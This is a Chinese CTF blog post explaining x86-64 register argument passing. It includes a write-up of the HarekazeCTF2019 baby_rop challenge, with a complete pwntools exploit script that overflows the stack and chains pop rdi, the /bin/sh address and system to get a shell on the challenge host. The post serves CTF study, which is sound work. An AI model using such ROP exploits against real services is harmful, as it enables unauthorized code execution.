Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PWN 64位程序寄存器的使用

PWN 64位程序寄存器的使用

作者头像
yulate
发布于 2023-05-02 03:09:38
发布于 2023-05-02 03:09:38
57200
代码可运行
举报
运行总次数:0
代码可运行

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

刷题多了对寄存器开始有着一定的了解了,这篇文章就来总结一下。

六十四位汇编

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H

也就是说在六十四位程序的payload构造过程中如果需要传入参数就需要对应的寄存器地址,如一个参数就需要进行寻找pop rdi地址

例题分析

[HarekazeCTF2019]baby_rop

分析

printf函数中的v4没做长度限制,很明显的栈溢出。

程序string中包含/bin/sh,但是没有函数调用,这里用pop rdi调用

payload
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = 'debug'
p = remote("node4.buuoj.cn",28395)
elf = ELF('./babyrop')

system_addr = elf.symbols['system']
pop_rdi = 0x400683
binsh_addr =  0x601048

payload = b'a' * (0x10 + 8) +  p64(pop_rdi) + p64(binsh_addr) +p64(system_addr)
p.sendline(payload)
p.interactive()

参考资料

64位汇编参数传递:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

浏览量: 262

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
PWN ret2libc
ret2libc 应该是栈溢出里面的一个难点了,在这点上也卡了很久,现在做个学习记录
yulate
2023/05/02
7180
PWN ret2libc
(粉丝投稿)64位linux下栈溢出漏洞利用【结尾有巨大彩蛋哦!!】
64位linux下栈溢出漏洞利用 linux_64与linux_86的区别有:可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。 有很多代码都是借鉴一步一步x64教程中的,然后发现x64教程中有很多问题,自己手动调试,写了三种利用方式,不过都大同小异。漏洞源码vuln.c: ![#incl
安恒网络空间安全讲武堂
2018/02/06
3.9K0
PWN [HarekazeCTF2019]baby_rop2
本文最后更新于 549 天前,其中的信息可能已经有所发展或是发生改变。 简单的栈溢出 payload from LibcSearcher import * from pwn import * context.terminal = ['terminator', '-x', 'sh', '-c'] context.log_level = 'debug' content = 0 elf = ELF('./babyrop2') format_str = 0x0400770 print_plt =
yulate
2023/05/02
4440
PWN  [HarekazeCTF2019]baby_rop2
PWN从入门到放弃(10)——栈溢出之ret2libc(x64)
我们看到,程序使用了gets函数和puts函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的
山深有杏
2024/01/30
2.2K0
PWN从入门到放弃(10)——栈溢出之ret2libc(x64)
Linux pwn入门学习到放弃
PWN是一个黑客语法的俚语词,自”own”这个字引申出来的,意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程,详细介绍linux上的保护机制,分析一些常见漏洞如栈溢出,堆溢出,use after free等,以及一些常见工具介绍等。
FB客服
2020/09/22
4K0
Linux pwn入门学习到放弃
ctfshow-PWN刷题
​ 这个题目是今天刚做出来的,昨天刚学的libc,刚好刷到这道题目,可以看到这个题目中没有system和/bin/sh了,但是看到了puts,直接puts泄露libc地址,利用libc里的system和/bin/sh字符串来getshell.
ly0n
2020/11/04
1.5K0
rop练习--split
这里只是一道简单的栈溢出问题,但是因为设置NX,所以要通过rop来执行shellcode。 参考链接:https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08
De4dCr0w
2019/02/27
8870
BUU PWN
通过字符串搜索看到了 cat /flag.txt的字符串,看到在main函数的上方有一个sub_40060D,发现cat falg.txt在这个函数中
ly0n
2020/11/04
9410
BUU PWN
BUUCTF 刷题笔记——PWN 1
直接使用 nc 命令连接一下,当输入 ls 企图列目录时却返回了如下文字同时退出了。对于任意命令均如此,且返回文字的第二行就是我们输入的命令内容,这样一来就有趣了。
h-t-m
2023/03/15
2.5K0
BUUCTF 刷题笔记——PWN 1
ROP Emporium writeup
在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了
yichen
2020/03/19
7160
ROP Emporium writeup
BROP 攻击技术 | PWN
BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。这一概念是在 2014 年提出的,论文和幻灯片在参考资料中。
意大利的猫
2022/03/29
3.1K0
BROP 攻击技术 | PWN
ROP-Ret2libc详解
ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数.
偏有宸机
2020/11/04
2K0
PWN-BROP笔记
BROP是在没有给出题目文件的情况下,只能通过尝试来确定栈的大小,以及其他函数啥的地址
yichen
2020/03/06
9410
从一道 CTF 题看 SROP | PWN
SROP 学习过程中,很大一部分人写的 smallest 这道题的 writeup 让我感觉很疑惑,为了证明他们写的存在一定问题,被迫走上了 pwntools + gdb 调试的路,所以这次只能用视频来进行展示了,文章剩余部分是讲义的内容 也不知道因为啥,磨磨唧唧唠了近两个小时,在视频中,大家可以 get 以下内容: SROP 原理及利用 一道 CTF 题的解题方法 pwntools + gdb 如何进行调试 SROP 整个过程中栈的内容是如何变化的 一些偏执... 视频已经上传到 B 站了 https:/
意大利的猫
2022/03/29
1.1K0
BUUCTF-刷题记录
使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271和425138641即可直接读取flag
偏有宸机
2020/11/04
2.2K0
BUUCTF-刷题记录
Ret2syscall学习
​ 既然是执行系统调用,在这里就大概记录一下Linux系统下的系统调用,Linux的系统调用通过int 80h来实现,用系统调用号来区分入口函数,操作系统实现系统调用的基本过程是:
ly0n
2020/11/04
1.3K0
Ret2syscall学习
[pwnable.tw] De-ASLR - "call reg"式ROP链+栈残留指针运用
题目只给了一个gets栈溢出,got开了全保护不能修改。按照题意对付aslr的话,爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。
赤道企鹅
2022/08/01
5680
学习PWN一个月后能做什么?
原理 栈是一种后进先出的数据结构。在调用函数的时候,都会伴随着函数栈帧的开辟和还原(也称平栈)。栈结构示意图如下(以32位程序为例):
franket
2022/03/25
8430
Ret2syscall提升
​ 经过昨天的Ret2syscall学习,今天就想着找一些ret2syscall的题目来提升一下。
ly0n
2020/11/04
6640
Ret2syscall提升
BUUCTF 刷题笔记——PWN 2
先验文件,本题文件为 32 为可执行文件,保护约等于没开。值得注意的是,该文件又是静态链接,因此又可以直接调用一些未被调用过的函数来解题,比如老朋友 mprotect() 函数。
h-t-m
2023/03/10
1.6K0
BUUCTF 刷题笔记——PWN 2
相关推荐
PWN ret2libc
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验